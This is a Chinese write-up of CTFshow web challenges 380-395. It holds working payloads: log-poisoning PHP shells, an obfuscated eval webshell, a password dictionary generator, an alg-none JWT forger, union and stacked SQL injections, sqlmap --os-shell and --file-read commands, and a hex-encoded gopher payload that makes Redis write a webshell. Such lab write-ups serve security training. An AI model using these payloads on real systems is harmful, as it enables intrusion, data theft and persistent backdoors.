CTFshow刷题日记-WEB-黑盒测试(web380-395)文件包含日志包含getshellSQL注入

Posted Ocean:)

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFshow刷题日记-WEB-黑盒测试(web380-395)文件包含日志包含getshellSQL注入相关的知识,希望对你有一定的参考价值。

web380-扫目录文件包含

扫目录,存在page.php

访问发现报错,$id参数,可能存在文件包含

/page.php?id=flag

web381-读源码找后台地址

page.php已经无法文件包含

看源码有一个可疑的路径

访问这个目录,最后注意一定要带上/

web382-383弱口令加万能密码

上题的/alsckdfy/目录访问之后是个登录界面

burp抓包爆破就行了,p字段,这些都可以拿到flag

web384-爆破密码

提示:密码前2位是小写字母,后三位是数字

这肯定是后台密码了,而账户先盲猜admin

抓包使用intruder模块暴力破解

position只要有两个变量就可以

第一个变量-两位小写的英文字母

第二个变量-三位数字

也可以用脚本生成一个字典

import string
s1=string.ascii_lowercase
s2=string.digits
f=open('dict.txt','w')
for i in s1:
	for j in s1:
		for k in s2:
			for l in s2:
				for m in s2:
					p=i+j+k+l+m
					f.write(p+"\\n")
f.close()

爆破的时候可以把现成池调的高一点,爆的快一点

1/676000,账号是admin,密码是xy123

web385-扫目录

扫目录发现install

后台登录,默认账号就是之前几个题都用的账号admin密码admin888

web386-文件删除

存在install页面

还存在一个clear.php页面,访问显示清理完成(一开始用的字典里没有,看了羽师傅的wp,手中常备超大字典啊)

盲猜一波file参数,删个index.php试试

删除文件锁

/clear.php?file=install/lock.dat

再次访问install,重置密码

web387-日志文件包含getshell

提示:前面部分和386一样

扫目录发现robots.txt,提示:disallow:/debug,当然debug目录扫目录也是可以扫到的

需要传入file参数,和上题一样盲猜,反正我是没猜出来看的wp,还是做的题少

直接访问flag.php发现不行

可以通过包含日志文件/var/log/nginx/access.log,getshell

这种方法会报错,而且这是文件包含,写shell也不好传参,不如直接执行命令

方法一:删除文件锁登录后台

<?php unlink('/var/www/html/install/lock.dat')?>

再去访问/install/?install重新安装,然后登录后台

方法二:执行命令读取文件

访问日志文件写入命令,访问的同时命令也就执行了

<?php system('ls /var/www/html > /var/www/html/1.txt');?>

再去访问生成的文件

flag在alsckdfy/check.php

同样先去包含日志文件同时执行命令

web388-无回显加免杀马

debug访问已经变成了一句提示

回到后台目录alsckdfy找线索,爆破目录发现/alsckdfy/editor/目录,是一个文本编辑器,并且存在文件上传点,可以上传图片、zip、rar、html、ppt等一些文件

因为允许上传zip文件,写个一句话把后缀改为zip即可

<?php
$a = '<?ph'.'p ev'.'al($_PO'.'ST[1]);?>';
file_put_contents('/var/www/html/1.php',$a);
?>
# 起到免杀效果    

上传zip一句话木马

上传成功后会提示上传的路径

再去包含文件/debug/?file=/var/www/html/alsckdfy/attached/file/20211006/20211006093704_45260.zip

此时文件内容已经被读取写入日志了,再去包含日志文件/debug/?file=/var/log/nginx/access.log,写入的shell就执行了,生成1.php,访问执行拿到flag

方法二:包含日志写入shell

ua就是一句话木马,最好是免杀的一句话

然后再访问一次/debug/?file=/var/log/nginx/access.log,就会生成shell

web389-伪造jwt

访问debug显示权限不足,f12发现cookie多了auth字段判断权限,而且采用jwt,用jwt.io解密,sub改为admin,因为采用了HS256加密需要找secret,secret可以爆破就是123456

把jwt字符串复制到cookie中,刷新页面提示file not exist

剩下的就和上题一模一样了

再次访问1.php执行命令就行了,另一种方法也是可以的

web390-数字型注入

首页的功能点,发现有传参,估计存在SQL注入

输入单引号没反应判断存在数字型注入

手注:

page.php?id=1 union select 1,(select group_concat(username) from admin_user),(substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255)) limit 1,1#

浏览器看源码就行,看了师傅们的语句,这个注入手法真的行

sqlmap:

python sqlmap.py -u http://fdbabc63-b2f3-4050-8b2e-9f5ee609119a.chall.ctf.show/page.php?id=2 --file-read /var/www/html/alsckdfy/check.php --batch

运行完会将文件保存在你的本地,直接访问就拿到flag

方法二:改jwt加密方法

poc

# python2
import jwt

# payload
token_dict = {
    "iss": "admin",
    "iat": 1633525507,
    "exp": 1633532707,
    "nbf": 1633525507,
    "sub": "admin",
    "jti": "5d6279b30cda4893390547dd90151a0a"
}

# headers
headers = {
    "alg": "none",
    "typ": "JWT"
    }   
jwt_token = jwt.encode(token_dict, key='',headers=headers, algorithm="none")  

print(jwt_token)

记得更改iat、exp、nbf、jti,将生成成功的jwt字符串复制到浏览器中刷新页面,剩下的就和之前一样了

web391-392字符型注入

发现页面功能多了一个输入框

同样存在注入

/search.php?title=aa' union select 1,substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255),3 limit 0,1%23

# sqlmap
python sqlmap.py -u http://042a780b-dfd3-4bd9-861c-81661b2915e0.chall.ctf.show/search.php?title=1 --file-read /var/www/html/alsckdfy/check.php --batch

web392只不过是换了flag的位置

search.php?title=aa%27%20union%20select%201,substr((select%20load_file(%27/flag%27)),1,255),3%20limit%200,1%23

#sqlmap
python sqlmap.py -u http://175efaca-626f-46a6-bddd-68246b90c5f5.chall.ctf.show/search.php?title=1 --os-shell

也可以用389的方法

web393-堆叠注入

在主页最下方发现搜索引擎功能

后台应该是根据这里传入的id值到数据库中查询url,然后访问url,返回访问结果,存在ssrf

先用sqlmap跑出来数据库的表名和列名

利用堆叠注入插入数据

search.php?title=1';insert into link values(10,'a','file:///flag');

然后访问link.php?id=10

web394-395堆叠注入加绕过

和上题一样只不过需要16进制绕过

search.php?title=1';insert into link values(10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);

非预期解

攻击redis服务,fastcig
就是把上面的16进制改成攻击redis或者fastcgi的payload
然后访问下就可以了
但是前面要做一些工作,题目中的url字段默认长度最长为255所以我们需要修改下,
payload:

search.php?title=1';alter table link modify column url text;

然后就可以打相应的服务了。具体可以参考ssrf篇的360。
发下我的payload吧

search.php?title=1';insert into link values(11,'a',0x676f706865723a2f2f3132372e302e302e313a363337392f5f2532413125304425304125323438253044253041666c757368616c6c2530442530412532413325304425304125323433253044253041736574253044253041253234312530442530413125304425304125323432382530442530412530412530412533432533467068702532306576616c2532382532345f504f5354253542312535442532392533422533462533452530412530412530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343325304425304164697225304425304125323431332530442530412f7661722f7777772f68746d6c2530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343130253044253041646266696c656e616d65253044253041253234372530442530416162632e706870253044253041253241312530442530412532343425304425304173617665253044253041253041);

然后访问link.php?id=11就会生成abc.php 密码是1

参考链接

https://blog.csdn.net/miuzzx/article/details/112522873

http://39.105.134.199/2021/07/29/7734.html

以上是关于CTFshow刷题日记-WEB-黑盒测试(web380-395)文件包含日志包含getshellSQL注入的主要内容,如果未能解决你的问题,请参考以下文章

CTFshow刷题日记-WEB-文件包含

CTFshow刷题日记-WEB-文件上传

CTFshow web3 菜鸡刷题记录

CTFshow刷题日记-WEB-命令执行下55-77

CTFshow刷题日记-WEB-爆破

CTFshow刷题日记-WEB-JWT(web345-350)